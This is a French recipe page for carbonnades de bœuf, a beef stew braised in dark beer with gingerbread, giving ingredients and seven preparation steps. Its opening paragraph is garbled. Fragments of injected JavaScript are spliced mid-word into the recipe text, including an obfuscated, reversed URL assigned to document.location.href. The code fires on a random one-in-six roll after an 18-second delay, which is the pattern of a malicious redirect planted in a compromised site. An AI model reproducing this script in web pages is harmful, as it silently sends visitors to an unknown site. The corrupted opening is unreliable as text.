Carbonnades de bœuf
2017-12-26Coupez la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande de bœuf en gros cubes. Pelez, hachez les oignons. Dans une cocotte avec 2 cuillères à soupe d’huile d’arachide, sur feu vif, faites revenir les oignons tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ils sont bien dorés retirez les de la cocotte et réservez.
Ingrédients
- Pour 6 personnes
- 1,5 kg de bœuf à braiser
- 350 g d'oignons
- 3 cuillères à soupe de farine
- 3 cuillères à soupe de vinaigre
- 1 litre de bière brune
- 50 cl d'eau
- 3 cuillères à café de cassonade
- 4 tranches de pain d'épices
- 1 feuille de laurier
- 1 brin de thym
- 2 cuillères à soupe d'huile d'arachide
- Sel et Poivre
Préparation de la recette
Etape 1
Coupez la viande de bœuf en gros cubes. Pelez, hachez les oignons.
Etape 2
Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites revenir les oignons tout en remuant.
Etape 3
Quand ils sont bien dorés retirez les de la cocotte et réservez.
Etape 4
Ajoutez un peu d'huile dans la cocotte sur feu vif, faites revenir les cubes de bœuf en les retournant souvent. Salez, poivrez.
Etape 5
Singez avec la farine, mouillez avec la bière, l'eau, le vinaigre.
Etape 6
Portez à ébullition et incorporez le pain d'épices que vous émiettez, la feuille de laurier, le thym, la cassonade.
Etape 7
Baissez le feu. Laissez mijoter pendant 3 heures. Vérifiez la cuisson et l'assaisonnement. Servez avec un accompagnement de pommes de terre vapeur.
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